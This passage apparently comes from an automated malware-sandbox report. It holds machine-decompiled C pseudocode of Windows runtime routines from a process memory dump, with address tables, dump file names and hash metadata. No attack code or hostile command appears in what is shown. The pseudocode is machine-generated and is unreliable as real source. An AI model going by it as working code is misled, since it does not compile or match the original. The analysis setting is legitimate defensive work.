															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E00D452A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E00D5EB70(1, 0xe379a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E00D5AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E00D895D0();
																			L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E00D8B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E00D83D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E00D8B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x00d64128
0x00d64135
0x00d6413c
0x00d64141
0x00d64145
0x00d64147
0x00d6414e
0x00d64151
0x00d64159
0x00d6415c
0x00d64160
0x00d64164
0x00d64168
0x00d6416c
0x00d6417f
0x00d64181
0x00d6446a
0x00d6446a
0x00d6418c
0x00d64195
0x00d64199
0x00d64432
0x00d64439
0x00d6443d
0x00d64442
0x00d64447
0x00000000
0x00d6419f
0x00d641a3
0x00d641b1
0x00d641b9
0x00d641bd
0x00d645db
0x00d645db
0x00000000
0x00d641c3
0x00d641c3
0x00d641ce
0x00d641d4
0x00dae138
0x00dae13e
0x00dae169
0x00dae16d
0x00dae19e
0x00dae16f
0x00dae16f
0x00dae175
0x00dae179
0x00dae18f
0x00dae193
0x00000000
0x00dae199
0x00000000
0x00dae199
0x00dae193
0x00000000
0x00000000
0x00000000
0x00d641da
0x00d641da
0x00d641df
0x00d641e4
0x00d641ec
0x00d64203
0x00d64207
0x00dae1fd
0x00d64222
0x00d64226
0x00dae1f3
0x00dae1f3
0x00d6422c
0x00d6422c
0x00d64233
0x00dae1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00d64239
0x00d64239
0x00d64239
0x00d64239
0x00d64233
0x00d64226
0x00d641ee
0x00d641ee
0x00d641f4
0x00d64575
0x00dae1b1
0x00dae1b1
0x00000000
0x00d6457b
0x00d6457b
0x00d64582
0x00dae1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00d64588
0x00d64588
0x00d6458c
0x00dae1c4
0x00dae1c4
0x00000000
0x00d64592
0x00d64592
0x00d64599
0x00dae1be
0x00000000
0x00000000
0x00000000
0x00000000
0x00d6459f
0x00d6459f
0x00d645a3
0x00dae1d7
0x00dae1e4
0x00000000
0x00d645a9
0x00d645a9
0x00d645b0
0x00dae1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x00d645b6
0x00d645b6
0x00d645b6
0x00000000
0x00d645b6
0x00d645b0
0x00d645a3
0x00d64599
0x00d6458c
0x00d64582
0x00000000
0x00000000
0x00000000
0x00000000
0x00d641f4
0x00d6423e
0x00d64241
0x00d645c0
0x00d645c4
0x00000000
0x00d645ca
0x00d645ca
0x00000000
0x00dae207
0x00dae20f
0x00000000
0x00000000
0x00000000
0x00000000
0x00d645d1
0x00000000
0x00000000
0x00d645ca
0x00000000
0x00d64247
0x00d64247
0x00d64247
0x00d64249
0x00d64249
0x00d64249
0x00d64251
0x00d64251
0x00d64257
0x00d6425f
0x00d6426e
0x00d64270
0x00d6427a
0x00dae219
0x00dae219
0x00d64280
0x00d64282
0x00d64456
0x00d645ea
0x00000000
0x00d645f0
0x00dae223
0x00000000
0x00dae223
0x00d6445c
0x00d6445c
0x00000000
0x00d6445c
0x00000000
0x00d64288
0x00d6428c
0x00dae298
0x00d64292
0x00d64292
0x00d6429e
0x00d642a3
0x00d642a7
0x00d642ac
0x00dae22d
0x00d642b2
0x00d642b2
0x00d642b9
0x00d642bc
0x00d642c2
0x00d642ca
0x00d642cd
0x00d642cd
0x00d642d4
0x00d6433f
0x00d6433f
0x00d642d6
0x00d642d6
0x00d642d9
0x00d642dd
0x00d642eb
0x00dae23a
0x00d642f1
0x00d64305
0x00d6430d
0x00d64315
0x00d64318
0x00d6431f
0x00d64322
0x00d6432e
0x00d6433b
0x00d6433b
0x00000000
0x00d6432e
0x00d642eb
0x00d6434c
0x00d6434e
0x00d64352
0x00d64359
0x00d6435e
0x00d64361
0x00d6436e
0x00d6438a
0x00d6438e
0x00d64396
0x00d6439e
0x00d643a1
0x00d643ad
0x00d643bb
0x00d643bb
0x00d643ad
0x00d6436e
0x00d643bf
0x00d643c5
0x00d64463
0x00d64463
0x00d643ce
0x00d643d5
0x00d643d9
0x00d643df
0x00d64475
0x00d64479
0x00d64491
0x00d64491
0x00d64479
0x00d643e5
0x00d643eb
0x00d643f4
0x00d643f6
0x00d643f9
0x00d643fc
0x00d643ff
0x00d644e8
0x00d644ed
0x00d644f3
0x00dae247
0x00000000
0x00d644f9
0x00d64504
0x00d64508
0x00d6450f
0x00dae269
0x00000000
0x00d64515
0x00d64519
0x00d64531
0x00d64534
0x00d64537
0x00d6453e
0x00d64541
0x00d6454a
0x00dae255
0x00dae255
0x00dae25b
0x00dae25e
0x00dae261
0x00dae261
0x00d64555
0x00d64559
0x00d6455d
0x00dae26d
0x00dae270
0x00dae274
0x00dae27a
0x00dae27d
0x00dae28e
0x00dae28e
0x00d64563
0x00d64563
0x00d64569
0x00d64569
0x00000000
0x00d6455d
0x00d6450f
0x00000000
0x00d644f3
0x00d643ff
0x00d64405
0x00d64405
0x00d64405
0x00d642ac
0x00d6428c
0x00d64282
0x00d64407
0x00d6440d
0x00dae2af
0x00dae2af
0x00d64413
0x00d64413
0x00000000
0x00d641d4
0x00000000
0x00d641c3
0x00d641bd
0x00d64415
0x00d64415
0x00d64416
0x00d64417
0x00d64429
0x00d6416e
0x00d6416e
0x00d64175
0x00d64498
0x00d6449f
0x00dae12d
0x00000000
0x00dae133
0x00000000
0x00dae133
0x00d644a5
0x00d644a5
0x00d644aa
0x00000000
0x00d644bb
0x00d644ca
0x00d644d6
0x00d644d7
0x00d644d8
0x00d644e3
0x00d644e3
0x00d644aa
0x00d6417b
0x00d6417b
0x00d6417b
0x00000000
0x00d6417b
0x00d64175
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6300e6b107a1f4529ec28b4bc350589ecb4f547643e6f9b3158bc529b2072731
Instruction ID: aa15c9fd56b0d9309300ce7608bc8b7c771b18aa6d7ae9600a0755de24084a1a
Opcode Fuzzy Hash: 6300e6b107a1f4529ec28b4bc350589ecb4f547643e6f9b3158bc529b2072731
Instruction Fuzzy Hash: 9DF17B706083518BC724DF19C491A3AB7E1FF99714F18892EF886CB290EB74DC85DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00D720A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00D720A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0xe38714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E00D72EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E00D72EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E00D458EC(_t240);
									_t221 =  *0xe35cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0xe35cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E00D84A2C(0xe36e40, 0xd84b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E00D67D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0xd25c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E00D7F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E00D7F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E00DC7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L00D62400(_t267 + 0x20);
															}
															L00D62400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E00D72397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E00D62280(_t134, 0xe38608);
									__eflags =  *0xe36e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E00D5FFB0(_t198, _t241, 0xe38608);
										__eflags = _t253;
										if(_t253 != 0) {
											L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0xe36e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0xe38608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E00D76B90(_t210,  &_v64);
										_t262 =  *0xe38608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E00D7E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E00D897C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E00D8006A(0xe38608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0xe38608);
												E00D8B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0xe36904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0xe36e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E00D5FFB0(_t198, _t240, 0xe38608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E00D800C2(0xe38608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x00d720a0
0x00d720a8
0x00d720ad
0x00d720b3
0x00d720b8
0x00d720c2
0x00d720c7
0x00d720cb
0x00d720d2
0x00d72263
0x00d72266
0x00db5836
0x00db5836
0x00000000
0x00d7226c
0x00d7226c
0x00d72270
0x00d72274
0x00d720e2
0x00d720e2
0x00d720e6
0x00d720ee
0x00db57dc
0x00db57de
0x00db57ec
0x00db57ec
0x00db57f1
0x00db57f3
0x00db57f8
0x00000000
0x00db57f8
0x00db57e0
0x00db57e4
0x00db57ea
0x00000000
0x00000000
0x00000000
0x00db57ea
0x00d720f4
0x00d720f4
0x00d720f8
0x00d720f8
0x00d720fc
0x00d72100
0x00d72106
0x00d72201
0x00d72206
0x00d7220b
0x00d7220e
0x00d722a9
0x00d722ac
0x00000000
0x00000000
0x00d722b2
0x00d722b5
0x00db5801
0x00db5806
0x00000000
0x00000000
0x00db5810
0x00db5815
0x00db5818
0x00000000
0x00000000
0x00db581e
0x00d722bb
0x00d722bb
0x00d72218
0x00d72218
0x00d7221c
0x00d72220
0x00d72222
0x00d722c2
0x00d722c4
0x00d722dc
0x00d722dc
0x00d722e1
0x00000000
0x00000000
0x00000000
0x00d722e7
0x00d722c8
0x00d722cd
0x00d722d3
0x00d722d6
0x00db5823
0x00db5825
0x00db5827
0x00000000
0x00000000
0x00db582d
0x00000000
0x00db582d
0x00000000
0x00d72228
0x00d72228
0x00000000
0x00d72228
0x00d72222
0x00d72214
0x00d72214
0x00000000
0x00d72114
0x00d72114
0x00d72114
0x00d7211a
0x00d7211c
0x00d72348
0x00d7234d
0x00db5840
0x00db5845
0x00db5848
0x00db584e
0x00db584e
0x00db5848
0x00d72353
0x00d72355
0x00d72388
0x00d72388
0x00d72368
0x00d7236a
0x00d7236c
0x00d7238f
0x00000000
0x00d7236e
0x00d7236e
0x00d7218e
0x00d7218e
0x00d72191
0x00d72195
0x00db5a03
0x00db5a06
0x00db5a0c
0x00db5a0f
0x00db5a11
0x00db5a13
0x00db5a13
0x00db5a19
0x00db5a1f
0x00000000
0x00d7219b
0x00d7219b
0x00d721a0
0x00d72282
0x00d72284
0x00d72284
0x00d72284
0x00d72284
0x00d721a6
0x00d721a9
0x00d721ac
0x00d721ae
0x00d721b3
0x00d7228b
0x00d72290
0x00d72379
0x00d72296
0x00d72298
0x00d72298
0x00d72290
0x00d721b9
0x00d721be
0x00d722a2
0x00d722a2
0x00d721c4
0x00d721c8
0x00d721cc
0x00d721d0
0x00d721d4
0x00d721de
0x00d721e3
0x00db5a29
0x00db5a2c
0x00000000
0x00000000
0x00db5a3b
0x00000000
0x00d721e9
0x00d721e9
0x00d721e9
0x00d721ee
0x00d721f1
0x00db5a45
0x00db5a4b
0x00db5a52
0x00db5a58
0x00db5a5d
0x00db5a5f
0x00db5a71
0x00db5a61
0x00db5a6a
0x00db5a6a
0x00db5a76
0x00db5a79
0x00db5a7f
0x00db5a83
0x00db5a85
0x00db5a87
0x00db5a87
0x00db5a8c
0x00db5a91
0x00db5a97
0x00db5a9f
0x00db5aa0
0x00db5aa1
0x00db5aa6
0x00db5aab
0x00db5ab1
0x00db5ab3
0x00db5ab9
0x00db5aca
0x00db5ad4
0x00db5ad4
0x00db5ade
0x00db5ade
0x00db5aab
0x00db5a79
0x00db5a52
0x00d721f7
0x00d721f9
0x00d721fe
0x00d721fe
0x00d721e3
0x00d72195
0x00d7236c
0x00d72122
0x00d72122
0x00d72124
0x00d72231
0x00d72236
0x00d72236
0x00d72238
0x00d72238
0x00d72240
0x00d72242
0x00d72244
0x00db59fc
0x00d7218c
0x00d7218c
0x00000000
0x00d7218c
0x00d7224a
0x00d7224f
0x00d72256
0x00d72304
0x00d72309
0x00d7230f
0x00d7231e
0x00d7231e
0x00d7231e
0x00d72320
0x00d72325
0x00d7232a
0x00d7232c
0x00d7233e
0x00d7233e
0x00000000
0x00d7232c
0x00d72311
0x00d72317
0x00d7231a
0x00d7231c
0x00d72380
0x00d72380
0x00d72380
0x00d72384
0x00000000
0x00000000
0x00d72386
0x00000000
0x00d7231c
0x00d7225c
0x00d7225c
0x00000000
0x00d7225c
0x00d7212a
0x00d72134
0x00d72138
0x00d7213d
0x00db5858
0x00db5863
0x00db5863
0x00db5867
0x00db586a
0x00000000
0x00000000
0x00db586c
0x00db586c
0x00db5871
0x00db5875
0x00db5877
0x00db5997
0x00db599c
0x00db59a1
0x00db59a7
0x00db59a7
0x00000000
0x00db59a7
0x00db587d
0x00000000
0x00db588b
0x00db588b
0x00db5890
0x00db5892
0x00db5894
0x00db5899
0x00db589b
0x00db58a0
0x00db58a0
0x00db58aa
0x00db58b2
0x00db58b6
0x00db58be
0x00db58c6
0x00db58c9
0x00db590d
0x00db5917
0x00db591a
0x00db591c
0x00db5920
0x00db5928
0x00db592a
0x00db592c
0x00db592e
0x00db592e
0x00db58cb
0x00db58cd
0x00db58d8
0x00db58e0
0x00db58f4
0x00db58fe
0x00db58fe
0x00db593a
0x00db593e
0x00db5940
0x00db5942
0x00000000
0x00db5944
0x00db5944
0x00db5949
0x00db594e
0x00db594e
0x00db5953
0x00db595b
0x00db5976
0x00db5976
0x00db597a
0x00db597f
0x00000000
0x00000000
0x00000000
0x00000000
0x00db5981
0x00db5981
0x00db5981
0x00db5983
0x00db5988
0x00db598d
0x00db5991
0x00db5991
0x00000000
0x00db595d
0x00db595d
0x00db5963
0x00db5965
0x00000000
0x00000000
0x00000000
0x00000000
0x00db5967
0x00db5967
0x00db596b
0x00db596d
0x00000000
0x00000000
0x00db596f
0x00db5971
0x00db5971
0x00db5974
0x00000000
0x00000000
0x00000000
0x00db5974
0x00000000
0x00db5967
0x00db595b
0x00db5942
0x00db5863
0x00d72143
0x00d72143
0x00d72149
0x00d7214f
0x00d722f1
0x00d722f6
0x00000000
0x00d72173
0x00d72173
0x00d7217d
0x00d72181
0x00d72186
0x00db59ae
0x00db59b2
0x00db59b5
0x00db59b7
0x00db59ba
0x00db59cd
0x00db59d1
0x00db59d5
0x00db59d9
0x00db59db
0x00000000
0x00000000
0x00db59dd
0x00db59dd
0x00db59e1
0x00db59e4
0x00db59e7
0x00db59ee
0x00db59ee
0x00db59f3
0x00db59f3
0x00000000
0x00d72186
0x00d7214f
0x00d72106
0x00d72266
0x00d720d8
0x00d720da
0x00d720e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a186bf653a4833585af748f0aef5d3f95fa973f8ad5ebd2b349c1fb81e87e96
Instruction ID: 42dc7bbd8f3929ae02cc1a99f63397bcc47e6da58bdccd3334aceca339c69362
Opcode Fuzzy Hash: 8a186bf653a4833585af748f0aef5d3f95fa973f8ad5ebd2b349c1fb81e87e96
Instruction Fuzzy Hash: 9EF1E131608781DFDB25CB28C84177A7BE1AB95324F18C52DF89A9B291E734DC45CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00D5849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0xe1f9c0);
				E00D9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0xe37b04 == 0) {
					L4:
					goto L5;
				} else {
